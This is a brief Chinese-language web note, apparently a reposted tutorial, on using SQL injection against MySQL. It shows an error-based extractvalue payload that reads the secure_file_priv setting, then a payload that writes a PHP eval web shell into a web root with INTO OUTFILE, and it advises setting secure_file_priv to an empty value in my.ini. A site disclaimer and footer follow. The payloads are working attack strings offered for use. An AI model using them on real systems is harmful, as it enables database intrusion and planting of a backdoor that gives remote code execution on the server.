查看mysql是否有文件讀寫權限,sql注入查詢secure_file_priv權限


show VARIABLES like '%secure%'

sql注入中的使用方法

查詢secure_file_priv權限
?id=43 ) and extractvalue(1, concat(0x7e, (select @@global.secure_file_priv),0x7e)) --+(

寫shell
?id=43 ) and extractvalue(1, concat(0x7e, (select<?php @eval($_POST['pass']);?>INTO OUTFILE “D:\wwwroot\xxx.com\Runtime\2.php”),0x7e)) --+(

 

 

 如果不顯示需要配置my.ini

添加secure_file_priv=""

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM